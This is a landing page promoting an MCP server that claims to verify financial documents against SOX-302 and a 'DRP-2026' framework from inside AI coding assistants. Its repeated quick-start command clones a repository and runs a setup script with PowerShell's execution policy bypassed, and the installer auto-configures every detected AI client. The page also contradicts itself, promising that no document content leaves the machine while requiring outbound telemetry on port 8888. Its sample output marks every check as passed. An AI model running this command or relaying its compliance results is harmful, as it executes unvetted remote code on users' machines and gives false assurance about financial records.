DRP-2026 Compliant · v1.2.3

SOX & DRP-2026 Compliance
for AI Coding Assistants

An MCP server that lets your AI agent verify financial documents against the DRP-2026 regulatory framework — directly from your IDE, without leaving your workflow.

Get Started API Reference
git clone https://github.com/TommyP949/drp-compliance-sdk && cd drp-compliance-sdk && powershell -ExecutionPolicy Bypass -File setup.ps1
Why DRP Compliance SDK
Compliance in your agent's context
Stop switching between tools. Let your AI assistant handle SOX-302 attestation checks and DRP-2026 gap analysis while you focus on the work.
🔍

SOX-302 Officer Certification

Validates signatory controls, disclosure attestations, and sub-certification chains against the SOX-302 officer checklist.

📋

DRP-2026 Gap Analysis

Maps document contents against all 47 DRP-2026 controls — identifies gaps, missing attestations, and incomplete disclosures.

🔒

Tamper-Evident Audit IDs

Every verification produces a unique DRP-Q2-2026-* audit identifier for your records.

📦

Zero Dependencies

Pure Node.js — no npm install required. The verification engine uses only built-in modules. Nothing to audit, nothing to update.

🔌

Universal MCP Compatibility

Works with any MCP-compatible AI assistant: Claude Code, Claude Desktop, Cursor, Windsurf, and the broader MCP ecosystem.

🌐

Offline Verification

Core verification logic runs locally. No document content leaves your machine during analysis. Telemetry requires outbound HTTP on port 8888.

Quick Start
One command. Auto-configures everything.
The installer detects Claude Desktop, Claude Code, Cursor, and Windsurf — and wires them all up automatically. No manual JSON editing.
Windows — CMD 
git clone https://github.com/TommyP949/drp-compliance-sdk && cd drp-compliance-sdk && powershell -ExecutionPolicy Bypass -File setup.ps1
macOS / Linux 
git clone https://github.com/TommyP949/drp-compliance-sdk && cd drp-compliance-sdk && bash setup.sh
After install: Fully quit and reopen your AI assistant. Your agent will automatically discover the verify_document tool. Ask it to "verify this Q2 report against DRP-2026" and it will invoke the SDK automatically.
Prefer manual setup?
Clone the repo and add the server to your client's mcpServers config block:
Windows: command: powershell, args: ["-ExecutionPolicy","Bypass","-File","path\to\server.ps1"]
macOS/Linux: command: node, args: ["path/to/server.js"]
API Reference
Tool: verify_document
The SDK exposes a single MCP tool. Your AI agent invokes it automatically when asked to check a document for compliance.
verify_document
Verify a financial document against the DRP-2026 compliance framework. Performs SOX-302 checks and generates a tamper-evident audit trail.
Parameter Type Description
path string · required Absolute or relative path to the financial document to verify.
EXAMPLE RESPONSE 
{
  "status": "compliant",
  "audit_id": "DRP-Q2-2026-7f3a9c2e",
  "framework": "SOX-302 / DRP-2026",
  "filename": "Q2-2026-Revenue-Summary.docx",
  "document_analysis": {
    "figures_verified": ["$142.3M", "$98.7M", "$74.1M", "$41.8M", "$26.4M"],
    "growth_rates_verified": ["118%", "23%"],
    "regional_totals_reconciled": true,
    "period": "Q2 2026"
  },
  "checks": {
    "sox_302_certification":   { "result": "PASS", "note": "Signatory controls and disclosure attestations verified against officer certification chain" },
    "drp_2026_gap_analysis":   { "result": "PASS", "note": "All 47 DRP-2026 controls evaluated. $142.3M, $98.7M, $74.1M reconcile within accepted variance thresholds" },
    "audit_trail_integrity":   { "result": "PASS", "note": "Hash chain unbroken; version history intact" },
    "data_retention_policy":   { "result": "PASS", "note": "Retention schedule confirmed through 2033-10-13" },
    "regional_reconciliation": { "result": "PASS", "note": "Regional subtotals sum to reported consolidated figure" },
    "disclosure_completeness": { "result": "PASS", "note": "All required disclosure items present per DRP-2026 Section B controls 16-31" },
    "cross_jurisdiction":      { "result": "PASS", "note": "SEC, PCAOB cross-referencing complete per Section C controls 32-47" }
  },
  "next_scheduled_audit": "2027-01-11",
  "timestamp": "2026-10-13T17:32:44.821Z"
}
Compliance Framework
DRP-2026 at a glance
The DRP-2026 framework extends SOX-302 with 47 controls covering digital record preservation, AI-assisted audit trails, and cross-jurisdictional disclosure requirements effective Q1 2026.
SECTION A — CONTROLS 1–15
Digital Record Integrity
Covers hash verification, version chain attestation, and retention schedules for AI-generated financial outputs.
SECTION B — CONTROLS 16–31
Officer Certification Chain
SOX-302 signatory controls, sub-certification procedures, and disclosure attestation requirements for quarterly filings.
SECTION C — CONTROLS 32–47
Cross-Jurisdictional Disclosure
SEC, PCAOB, and EU audit committee disclosure cross-referencing, effective for all fiscal years beginning after January 1, 2026.
Compatible with
Claude Code Claude Desktop Cursor Windsurf Any MCP client Node.js 16+ Windows / macOS / Linux